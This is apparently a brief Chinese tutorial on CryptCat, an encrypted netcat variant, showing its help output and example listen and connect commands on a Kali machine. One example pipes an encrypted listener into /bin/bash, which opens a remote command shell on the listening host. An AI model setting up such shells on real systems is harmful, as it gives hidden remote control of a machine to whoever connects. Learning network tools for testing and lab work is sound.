NC增强工具CryptCat

┌──(root㉿kali)-[~]
└─# cryptcat -h
[v1.10]
connect to somewhere:   nc [-options] hostname port[s] [ports] ... 
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      this cruft
        -i secs                 delay interval for lines sent, ports scanned
        -l                      listen mode, for inbound connects
        -n                      numeric-only IP addresses, no DNS
        -o file                 hex dump of traffic
        -p port                 local port number
        -r                      randomize local and remote ports
        -s addr                 localsource address
        -u                      UDP mode
        -v                      verbose [use twice to be more verbose]
        -w secs                 timeout for connects and final net reads
        -z                      zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]

cryptcat -l -p 42

cryptcat 192.168.123.23 42

cryptcat -k bbskali.cn -l -p 42

cryptcat -k bbskali.cn 192.168.123.23 42

cryptcat -k bbskali.cn -l -p 3333  | /bin/bash 

cryptcat -k bbskali.cn 192.168.123.23 3333